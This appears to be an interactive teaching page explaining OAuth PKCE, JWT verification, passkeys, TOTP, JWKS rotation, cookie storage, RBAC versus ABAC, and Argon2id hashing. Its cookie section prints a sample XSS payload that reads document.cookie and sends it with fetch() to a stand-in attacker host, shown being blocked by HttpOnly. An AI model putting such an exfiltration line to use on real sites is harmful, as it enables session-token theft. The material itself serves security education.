AuthCosmos OAuth 2.0, JWT, OIDC & RBAC Architecture
Authentication & Identity Architecture Visualizer

Master OAuth 2.0, JWT & Identity.

Interactive visualizers for OAuth 2.0 PKCE flows, JWT header/payload RS256 signature verification, WebAuthn Passkeys, TOTP RFC 6238 MFA timesteps, JWKS key rotation, HttpOnly SameSite cookie security, RBAC vs ABAC policy engines, and Argon2id password hashing.

Explore 20 Concepts JWT Inspector
Modern Delegated Authentication

OAuth 2.0 Authorization Code Flow with PKCE Stepper

Step 0 of 5
Client Browser Memory (Private):Origin: localhost:3000
Code Verifier: [ Not generated ]
Code Challenge (S256): [ Not computed ]
Authorization Server (IdP):auth.company.io
Stored Challenge: [ None ]
Auth Code Issued: [ None ]
Tokens Emitted: [ Pending ]
Protocol Trace:

Single Page Application (SPA) ready to start OAuth 2.0 PKCE flow.

Cryptographic Token Architecture

JWT Header, Payload & RS256 Signature Inspector

✅ SIGNATURE VALID (200 OK)
1. Header (Algorithm & Type):
{
  "alg": "RS256",
  "typ": "JWT"
}
2. Payload (Claims):
{
  "sub": "usr_42",
  "name": "Alice Johnson",
  "role": "USER",
  "exp": 1723650000,
  "iss": "https://auth.corp.io"
}
3. Digital Signature:
RS256(header.payload, privateKey) ✅ Authentic!
Next-Gen Passwordless Security

WebAuthn / FIDO2 Passkeys Biometric Stepper

Step 0 of 5
Device Secure Enclave (TouchID / TPM):Hardware Isolated
Biometric State: [ Idle ]
Private Key: [ None ]
Relying Party (RP) Backend Server:api.corp.io
Challenge Generated: [ None ]
Stored Credentials: [ Zero passwords stored ]
FIDO2 Protocol Trace:

WebAuthn / FIDO2 Relying Party (RP) ready for passkey registration.

Multi-Factor Authentication (MFA)

TOTP RFC 6238 30-Second Timestep & HMAC-SHA1 Visualizer

18s Remaining
Google / 1Password Authenticator:
849 201
Rotating every 30 seconds
RFC 6238 Algorithmic Derivation:
1. Secret Key: JBSWY3DPEHPK3PXP (Base32)
2. 30s Time Counter (T): 57455000
3. HMAC-SHA1(K, T): 1f4a9b...20-byte hash
4. Dynamic Truncation: Offset = hash[19] & 0x0F
5. Modulo 10^6: 849 201
Shared secret stored offline in client and server
Enterprise Identity Federation

OIDC Discovery & JWKS Public Key Rotation Simulator

Active IdP Key: key_2026_q1
auth.corp.io/.well-known/jwks.json:
{
  "keys": [
    {
      "kty": "RSA",
      "kid": "key_2026_q1",
      "alg": "RS256",
      "use": "sig",
      "n": "u1g...q1_modulus..."
    }
  ]
}
Incoming JWT Header (API Gateway):
{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "key_2026_q1"
}
✅ Gateway matched kid="key_2026_q1" in local JWKS cache. Token verified!
Gateway Log:

API Gateway caching JWKS public key set from auth.corp.io/.well-known/jwks.json.

Web Storage & Attack Surface

HttpOnly SameSite Cookies vs LocalStorage Tokens

🛡️ IMMUNE TO XSS TOKEN EXFILTRATION
Simulated Malicious XSS Script Execution:Attack Blocked by Browser
// Malicious XSS Payload attempts to access cookie:
const stolenToken = document.cookie; // Returns "" (Empty string!)
fetch("https://attacker-c2.com/exfil?t=" + stolenToken);
🛡️ HttpOnly flag prevents JavaScript from accessing token! Exfiltration completely failed.
Access Control & Policy Evaluation

RBAC (Role-Based) vs ABAC (Attribute-Based) Engine

Target: Confidential Finance Payroll
User Role:
User Department:
Connection Security:
1. Simple RBAC Decision:ALLOWED

Checks only `role === "EDITOR"`. Ignores department and VPN connection posture.

2. Fine-Grained ABAC Decision:DENIED (Protected)

Evaluates: Role (EDITOR) + Dept (Marketing === Finance) + VPN (false).

Password Storage Cryptography

Argon2id vs bcrypt vs SHA-256 GPU Resistance

🛡️ GPU BRUTE-FORCE RESISTANT
8x NVIDIA RTX 4090 GPU Cluster Crack Speed:
Memory Requirement: 65,536 KB (64 MB per hash)
Hash Computation Rate: 150 hashes / sec (Memory-Hard)
Estimated Brute Force Time: 450+ Years (Impracticable)
Database Stored Hash String:

$argon2id$v=19$m=65536,t=3,p=4$qW8xZ1p...$K9gNm2p8...

20 In-Depth Lessons

SAML 2.0, WebAuthn Passkeys, TOTP MFA, JWKS key rotation, CSRF synchronizer tokens, and mTLS Zero Trust.

OAuth PKCE Lab

Step through Code Verifiers, S256 SHA-256 challenges, and token exchanges with zero client secrets.

Security Flashcards

Master tough Security Architect interview questions on JWT "none" exploits, JWKS caching, and Argon2id.